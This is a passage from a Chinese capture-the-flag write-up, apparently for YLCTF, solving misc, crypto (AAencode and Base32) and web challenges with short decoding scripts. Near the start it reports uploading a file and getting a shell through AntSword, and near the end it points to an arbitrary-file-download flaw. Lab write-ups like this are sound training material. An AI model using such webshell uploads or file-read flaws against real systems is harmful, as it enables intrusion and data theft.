files=files)&#xA;print(response.text)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;上传成功&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/4252714f-6bd3-4f04-aed7-7dbd0413a018.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;蚁剑连接&lt;/p&gt;&#xA;&lt;p&gt;成功GetShell 获取flag即可&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/4774ce1d-eae7-4c7d-afd6-0f5f231b14c9.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;&#34;&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Misc&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;trace&#34;&gt;Trace&lt;a class=&#34;heading-anchor&#34; href=&#34;#trace&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/bdce98a6-ab50-4f28-9582-2d4e38d4ed39.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;010打开 文件尾后有一大串文本 看着像Base64&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/6f3fe49e-10f1-46e2-8656-13de3f3b4d99.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;提出来丢赛博厨子&lt;img src=&#34;upload/Image/e99139f3-9135-4d3d-baf1-e0c3489c0bb1.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;转换完发现是rar 提取出来 发现是加密压缩包 使用工具尝试爆破密码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/485500b3-cbd6-487c-918e-9c3fd1ecb12a.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现是扭曲的图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/43544392-f329-43b6-9fd2-7819989684d2.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;至于怎么看flag&lt;/p&gt;&#xA;&lt;p&gt;把四张图拼一起就能看到一个完整的flag了 (&lt;/p&gt;&#xA;&lt;h4 id=&#34;滴答滴&#34;&gt;滴答滴&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%bb%b4%e7%ad%94%e6%bb%b4&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;010打开 发现是由 00 FF 组成的&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/79568176-c688-44d3-a6a9-b6bf96149755.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;结合题目：&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/4a6df745-bda6-4acd-85d5-e87c6495a99d.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;联想到BUUCTF 有一道Crypto3就用了个编码方式叫Manchester(曼彻斯特)&lt;/p&gt;&#xA;&lt;p&gt;然后将HEX中的 00 -&amp;gt; 0 ; FF -&amp;gt; 1&lt;/p&gt;&#xA;&lt;p&gt;得到的二进制文本 再进行一次Manchester解码&lt;/p&gt;&#xA;&lt;p&gt;01-&amp;gt;0 ; 10-&amp;gt;1&lt;/p&gt;&#xA;&lt;p&gt;然后把得到的2进制数据转换为字符串即可&lt;/p&gt;&#xA;&lt;p&gt;代码如下：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes&#xA;&#xA;# 读取文件中的十六进制数据&#xA;with open(&#39;attachment&#39;, &#39;rb&#39;) as file:&#xA;    hex_data = file.read()  # 读取文件内容&#xA;&#xA;# 将读取到的二进制数据转换为十六进制字符串&#xA;hex_string = hex_data.hex().upper()  # 转换为十六进制，并转为大写&#xA;print(&amp;quot;Old HEX:&amp;quot;, hex_string)&#xA;&#xA;# 00-&amp;gt;0，FF-&amp;gt;1&#xA;temp = &#39;&#39;&#xA;for i in range(0, len(hex_string), 2):&#xA;    hex_pair = hex_string[i:i + 2]  # 每次读取两个字符进行转换&#xA;    if hex_pair == &#39;00&#39;:&#xA;        temp += &#39;0&#39;&#xA;    elif hex_pair == &#39;FF&#39;:&#xA;        temp += &#39;1&#39;&#xA;# 打印第一次曼彻斯特编码结果&#xA;print(&amp;quot;Manchester 1:&amp;quot;, temp)&#xA;&#xA;temp2 = &#39;&#39;&#xA;&#xA;# 进行第二次曼彻斯特编码&#xA;#01-&amp;gt;0,10-&amp;gt;1&#xA;for i in range(0, len(temp), 2):&#xA;    pair = temp[i:i + 2]  # 每次读取两个字符进行转换&#xA;    if pair == &#39;01&#39;:&#xA;        temp2 += &#39;0&#39;&#xA;    elif pair == &#39;10&#39;:&#xA;        temp2 += &#39;1&#39;&#xA;# 打印第二次曼彻斯特编码结果&#xA;print(&amp;quot;Manchester 2:&amp;quot;, temp2)&#xA;&#xA;flag = &#39;&#39;&#xA;# 按8位分组生成十六进制&#xA;for i in range(0, len(temp2), 8):&#xA;    byte = temp2[i:i + 8]  # 提取每8位作为一个字节&#xA;    flag += long_to_bytes(int(byte, 2)).decode()&#xA;# 输出最终结果&#xA;print(&amp;quot;Flag :&amp;quot;, flag)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;round3&#34;&gt;Round3&lt;a class=&#34;heading-anchor&#34; href=&#34;#round3&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;misc-1&#34;&gt;&lt;strong&gt;Misc&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#misc-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;h4 id=&#34;blackdoor&#34;&gt;Blackdoor&lt;a class=&#34;heading-anchor&#34; href=&#34;#blackdoor&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件 分析文件&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/d97a29e8-7f30-46e8-961f-3ea70d73747a.png&#34; alt=&#34;IMG_256&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;实在是没什么好说的了 我火绒给include.php报了个危险&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/a8ed152b-be68-4a93-b33e-24cc3483d9df.png&#34; alt=&#34;IMG_257&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/168622ef-18e7-4407-9b7e-5ad31c63e95a.png&#34; alt=&#34;IMG_258&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;太喜感了 实在是爆笑 what can i say&lt;/p&gt;&#xA;&lt;h4 id=&#34;tinted一血&#34;&gt;Tinted（一血）&lt;a class=&#34;heading-anchor&#34; href=&#34;#tinted%e4%b8%80%e8%a1%80&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件 一张图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/96a8305e-99b1-402e-8759-26fffac3f411.png&#34; alt=&#34;IMG_259&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;解题流程：&lt;/p&gt;&#xA;&lt;p&gt;取每个色块色值的后两位作为16进制数&lt;/p&gt;&#xA;&lt;p&gt;转换为字符串后进行Base64解密 字符集比较特殊&lt;/p&gt;&#xA;&lt;p&gt;字符集3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5&lt;/p&gt;&#xA;&lt;p&gt;67 65 72 49 66 4a 6a 42 52 5a 66 31 52 67 62 74 52 4c 52 39&lt;/p&gt;&#xA;&lt;p&gt;54 64 4a 75 52 63 75 75 53 74 57 75 51 67 4a 74 69 5a 57 39&lt;/p&gt;&#xA;&lt;p&gt;54 67 4a 7a 54 64 52 76 54 4c 69 75 52 74 62 71 70 62 35 35&lt;/p&gt;&#xA;&lt;p&gt;-&amp;gt;HexToString-&amp;gt;Base64Decode-&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;YLCTF{25e1d30c-9141-4784-a3b8-9a99358f4340}&lt;/p&gt;&#xA;&lt;h4 id=&#34;figure一血&#34;&gt;Figure（一血）&lt;a class=&#34;heading-anchor&#34; href=&#34;#figure%e4%b8%80%e8%a1%80&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载附件，010打开&lt;/p&gt;&#xA;&lt;p&gt;发现所有字符均在0-f范围内 推测是16进制&lt;/p&gt;&#xA;&lt;p&gt;转换成16进制文件试试 打开发现乱码&lt;/p&gt;&#xA;&lt;p&gt;看开头的Figure文件末尾-&amp;gt;0598&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/7d27c357-ed71-44ae-bfb4-1b72e597b834.png&#34; alt=&#34;IMG_260&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;猜测是8950倒序-&amp;gt;png文件头&lt;/p&gt;&#xA;&lt;p&gt;于是进行 逆序-&amp;gt;转换 处理&lt;/p&gt;&#xA;&lt;p&gt;with open(&amp;lsquo;Figure&amp;rsquo;, &amp;lsquo;r&amp;rsquo;) as input_file:&lt;/p&gt;&#xA;&lt;p&gt;input_text = input_file.read()&lt;/p&gt;&#xA;&lt;p&gt;reversed_text = input_text[::-1]&lt;/p&gt;&#xA;&lt;p&gt;byte_data = bytes.fromhex(reversed_text)&lt;/p&gt;&#xA;&lt;p&gt;with open(&amp;lsquo;output.png&amp;rsquo;, &amp;lsquo;wb&amp;rsquo;) as output_file:&lt;/p&gt;&#xA;&lt;p&gt;output_file.write(byte_data)&lt;/p&gt;&#xA;&lt;p&gt;打开提取出的图片文件&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/15cbef80-8562-4784-b33d-1609b7b0cbff.png&#34; alt=&#34;IMG_261&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;这一步有点抽象 把每个点的坐标按顺序提取出来 只能说很费眼睛 一共38个点&lt;/p&gt;&#xA;&lt;p&gt;点坐标&lt;/p&gt;&#xA;&lt;p&gt;(52,50),&lt;/p&gt;&#xA;&lt;p&gt;(83,115),&lt;/p&gt;&#xA;&lt;p&gt;(102,120),&lt;/p&gt;&#xA;&lt;p&gt;(82,68),&lt;/p&gt;&#xA;&lt;p&gt;(121,86),&lt;/p&gt;&#xA;&lt;p&gt;(76,122),&lt;/p&gt;&#xA;&lt;p&gt;(106,77),&lt;/p&gt;&#xA;&lt;p&gt;(112,84),&lt;/p&gt;&#xA;&lt;p&gt;(69,106),&lt;/p&gt;&#xA;&lt;p&gt;(74,99),&lt;/p&gt;&#xA;&lt;p&gt;(102,105),&lt;/p&gt;&#xA;&lt;p&gt;(106,84),&lt;/p&gt;&#xA;&lt;p&gt;(105,107),&lt;/p&gt;&#xA;&lt;p&gt;(119,120),&lt;/p&gt;&#xA;&lt;p&gt;(78,71),&lt;/p&gt;&#xA;&lt;p&gt;(101,106),&lt;/p&gt;&#xA;&lt;p&gt;(71,120),&lt;/p&gt;&#xA;&lt;p&gt;(66,112),&lt;/p&gt;&#xA;&lt;p&gt;(119,57),&lt;/p&gt;&#xA;&lt;p&gt;(87,49),&lt;/p&gt;&#xA;&lt;p&gt;(49,82),&lt;/p&gt;&#xA;&lt;p&gt;(115,66),&lt;/p&gt;&#xA;&lt;p&gt;(55,71),&lt;/p&gt;&#xA;&lt;p&gt;(113,65),&lt;/p&gt;&#xA;&lt;p&gt;(114,89),&lt;/p&gt;&#xA;&lt;p&gt;(116,77),&lt;/p&gt;&#xA;&lt;p&gt;(111,103),&lt;/p&gt;&#xA;&lt;p&gt;(68,84),&lt;/p&gt;&#xA;&lt;p&gt;(88,89),&lt;/p&gt;&#xA;&lt;p&gt;(100,76),&lt;/p&gt;&#xA;&lt;p&gt;(72,56),&lt;/p&gt;&#xA;&lt;p&gt;(107,90),&lt;/p&gt;&#xA;&lt;p&gt;(109,102),&lt;/p&gt;&#xA;&lt;p&gt;(85,101),&lt;/p&gt;&#xA;&lt;p&gt;(104,51),&lt;/p&gt;&#xA;&lt;p&gt;(85,109),&lt;/p&gt;&#xA;&lt;p&gt;(81,89)&lt;/p&gt;&#xA;&lt;p&gt;然后将点的坐标作为ASCII码转换为字符 根据hint1，格式为 x1x2x3..xnyn&amp;hellip;.y3y2y1&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;coordinates = [&#xA;&#xA;#坐标集合 太长了就没在代码里放了&#xA;&#xA;]&#xA;&#xA;# 获取字符&#xA;&#xA;result = &amp;quot;&amp;quot;&#xA;&#xA;for x, y in coordinates:&#xA;&#xA;    result += chr(x)&#xA;&#xA;for x, y in reversed(coordinates):&#xA;&#xA;    result += chr(y)&#xA;&#xA;print(result)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;4SfRyLjpEJfjiwNeGBwW1s7qrtoDXdHkmUhUQYm3efZ8LYTgMYAGBR19pxjGxkTicjTMzVDxs2&lt;/p&gt;&#xA;&lt;p&gt;根据hint2 进行13位栅栏解密&lt;/p&gt;&#xA;&lt;p&gt;4jiwrHQZM1GcVSpwWtkY8Y9xjDfEN1ommLApkTxRJesDU3YGxTMsyfG7XheTBjiz2LjBqdUfgR&lt;/p&gt;&#xA;&lt;p&gt;使用CyberChef进行剩余的解密&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/e4c97e3d-4eff-41cb-941d-90e094d94b39.png&#34; alt=&#34;IMG_262&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;得到flag-&amp;gt;YLCTF{a3a9cb97-0aca-485a-a35e-c32dca7c1fa8}&lt;/p&gt;&#xA;&lt;h2 id=&#34;crypto-1&#34;&gt;Crypto&lt;a class=&#34;heading-anchor&#34; href=&#34;#crypto-1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;qwq&#34;&gt;QWQ&lt;a class=&#34;heading-anchor&#34; href=&#34;#qwq&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;pre&gt;&lt;code&gt;ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ [&#39;_&#39;]; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: &#39;_&#39; ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +&#39;_&#39;) [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ &#39;_&#39;)[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +&#39;_&#39;)[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +&#39;_&#39;) [c^_^o];(ﾟДﾟ) [&#39;c&#39;] = ((ﾟДﾟ)+&#39;_&#39;) [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) [&#39;o&#39;] = ((ﾟДﾟ)+&#39;_&#39;) [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) [&#39;c&#39;]+(ﾟДﾟ) [&#39;o&#39;]+(ﾟωﾟﾉ +&#39;_&#39;)[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +&#39;_&#39;) [ﾟｰﾟ] + ((ﾟДﾟ) +&#39;_&#39;) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +&#39;_&#39;) [ﾟΘﾟ]+((ﾟｰﾟ==3) +&#39;_&#39;) [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) [&#39;c&#39;]+((ﾟДﾟ)+&#39;_&#39;) [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) [&#39;o&#39;]+((ﾟｰﾟ==3) +&#39;_&#39;) [ﾟΘﾟ];(ﾟДﾟ) [&#39;_&#39;] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +&#39;_&#39;) [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+&#39;_&#39;) [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +&#39;_&#39;) [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +&#39;_&#39;) [ﾟΘﾟ]+ (ﾟωﾟﾉ +&#39;_&#39;) [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]=&#39;\\&#39;; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +&#39;_&#39;)[c^_^o];(ﾟДﾟ) [ﾟoﾟ]=&#39;\&amp;quot;&#39;;(ﾟДﾟ) [&#39;_&#39;] ( (ﾟДﾟ) [&#39;_&#39;] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (o^_^o)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (c^_^o)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+((o^_^o) +(o^_^o))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) (&#39;_&#39;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;一眼顶真 鉴定为AAencode编码&lt;/p&gt;&#xA;&lt;p&gt;解码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;LFGEGVCGPNUEA5RTL5DHK3S7O4YXI2C7ORUGSNK7M5QW2M27KFLVC7I=&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Base32字符串 再解码一次即可 -&amp;gt; YLCTF{h@v3_Fun_w1th_thi5_gam3_QWQ}&lt;/p&gt;&#xA;&lt;h2 id=&#34;web-2&#34;&gt;Web&lt;a class=&#34;heading-anchor&#34; href=&#34;#web-2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;404&#34;&gt;404&lt;a class=&#34;heading-anchor&#34; href=&#34;#404&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/3e0b5700-7499-4c8c-994a-f188b754cdae.png&#34; alt=&#34;IMG_256&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;进入f12g.php 发现跳转到了404页面&lt;/p&gt;&#xA;&lt;p&gt;bp抓包看看 &lt;img src=&#34;upload/Image/1570d7c7-5109-4506-bad9-eb355d9a1d33.png&#34; alt=&#34;IMG_257&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Server-Timing有一段b64字符串&lt;/p&gt;&#xA;&lt;p&gt;解码-&amp;gt;去ca.php做个数学题吧&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/0b683df6-18b5-4991-bd50-f1d6c9c14abe.png&#34; alt=&#34;IMG_258&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;查看源代码 发现是js控制的时间限制 直接禁用js 执行一下php代码 算完了以后允许js提交就行了&lt;/p&gt;&#xA;&lt;h4 id=&#34;pread&#34;&gt;Pread&lt;a class=&#34;heading-anchor&#34; href=&#34;#pread&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/185800ee-a10c-4832-a335-ec5e1dc28bbe.png&#34; alt=&#34;IMG_259&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;添加笔记 导出笔记 导入笔记都试了试&lt;/p&gt;&#xA;&lt;p&gt;使用bp抓包 发现导出笔记时可能存在任意文件下载漏洞&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 